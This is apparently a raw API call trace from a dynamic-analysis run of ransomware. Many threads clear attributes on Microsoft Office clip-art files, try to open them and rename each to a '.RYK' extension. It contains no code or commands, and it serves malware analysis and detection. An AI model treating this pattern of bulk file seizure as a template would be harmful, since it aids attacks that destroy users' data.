	[0266.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID", dwFileAttributes=0x80) returned 0
	[0266.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3272
	os_tid = 0x36dc

	[0266.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF", dwFileAttributes=0x80) returned 0
	[0266.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00013_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00013_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3273
	os_tid = 0x3428

	[0266.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF", dwFileAttributes=0x80) returned 0
	[0266.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.099] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00014_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00014_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3274
	os_tid = 0x3804

	[0266.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF", dwFileAttributes=0x80) returned 0
	[0266.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.588] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3275
	os_tid = 0x3808

	[0266.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF", dwFileAttributes=0x80) returned 0
	[0266.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3276
	os_tid = 0x380c

	[0266.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF", dwFileAttributes=0x80) returned 0
	[0266.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3277
	os_tid = 0x3810

	[0266.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF", dwFileAttributes=0x80) returned 0
	[0266.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.586] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3278
	os_tid = 0x3814

	[0266.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF", dwFileAttributes=0x80) returned 0
	[0266.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3279
	os_tid = 0x3818

	[0266.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF", dwFileAttributes=0x80) returned 0
	[0266.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3280
	os_tid = 0x381c

	[0266.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF", dwFileAttributes=0x80) returned 0
	[0266.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.583] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00468_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3281
	os_tid = 0x3820

	[0266.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF", dwFileAttributes=0x80) returned 0
	[0266.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.368] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00478_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00478_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3282
	os_tid = 0x3824

	[0266.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF", dwFileAttributes=0x80) returned 0
	[0266.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3283
	os_tid = 0x3828

	[0266.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF", dwFileAttributes=0x80) returned 0
	[0266.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.764] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3284
	os_tid = 0x382c

	[0266.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF", dwFileAttributes=0x80) returned 0
	[0266.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.763] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3285
	os_tid = 0x3830

	[0266.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF", dwFileAttributes=0x80) returned 0
	[0266.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.762] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3286
	os_tid = 0x3834

	[0266.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF", dwFileAttributes=0x80) returned 0
	[0266.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3287
	os_tid = 0x3838

	[0266.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF", dwFileAttributes=0x80) returned 0
	[0266.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.759] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3288
	os_tid = 0x383c

	[0266.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF", dwFileAttributes=0x80) returned 0
	[0266.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3289
	os_tid = 0x3840

	[0266.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF", dwFileAttributes=0x80) returned 0
	[0266.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.757] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3290
	os_tid = 0x3844

	[0266.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF", dwFileAttributes=0x80) returned 0
	[0266.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.755] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3291
	os_tid = 0x3848

	[0266.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF", dwFileAttributes=0x80) returned 0
	[0266.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3292
	os_tid = 0x384c

	[0266.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF", dwFileAttributes=0x80) returned 0
	[0266.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.753] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3293
	os_tid = 0x3850

	[0266.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF", dwFileAttributes=0x80) returned 0
	[0266.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.751] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3294
	os_tid = 0x3854

	[0266.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF", dwFileAttributes=0x80) returned 0
	[0266.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00685_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00685_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3295
	os_tid = 0x3858

	[0266.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF", dwFileAttributes=0x80) returned 0
	[0266.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.596] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3296
	os_tid = 0x3864

	[0266.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF", dwFileAttributes=0x80) returned 0
	[0266.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.598] CloseHandle (hObject=0xffffffffffffffff) returned 0
